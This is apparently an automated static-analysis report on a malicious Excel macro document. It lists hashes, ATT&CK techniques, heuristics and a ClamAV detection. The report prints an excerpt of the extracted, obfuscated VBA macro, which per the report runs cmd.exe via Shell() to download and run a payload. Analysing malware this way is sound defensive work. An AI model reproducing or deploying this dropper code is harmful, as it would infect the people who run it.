Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7a6ebfb32c76763…

MALICIOUS

Office (OLE)

63.0 KB Created: 2017-06-20 07:25:14 Authoring application: Microsoft Excel First seen: 2019-09-30
MD5: e3a17a1792e4f4a6e68977a0508ca2aa SHA-1: 02fce3b9c5c1562c7da4c561c5b1d21e4aa76bee SHA-256: b7a6ebfb32c76763473cf2d59a6cec856fe34c14bd47362e7fdf05bc8aa6a65c
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes the Shell() function to execute cmd.exe, indicating an attempt to download and run a secondary payload. The VBA code itself is heavily obfuscated, making precise analysis of the download URL or specific payload difficult, but the overall intent is clear. The ClamAV detection name 'Xls.Malware.Donoff-6731428-0' is included as an IOC.

Heuristics 6

  • ClamAV: Xls.Malware.Donoff-6731428-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Donoff-6731428-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5136 bytes
SHA-256: 6c4bdc3c893e669b2c1b2aa7ef7d3a57da3d9a8e8b871e8bb38b1a634781de8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True































































Function tess()
tess = "2,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,"
End Function
Function torro()
torro = ",81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13"
End Function
Sub kxnWvm()
Call Shell(omran + torro + vicking + tess + serena, 14 - 14)
End Sub
Function vicking()
vicking = ",30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,1"
End Function
Function serena()
serena = "5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set 
... (truncated)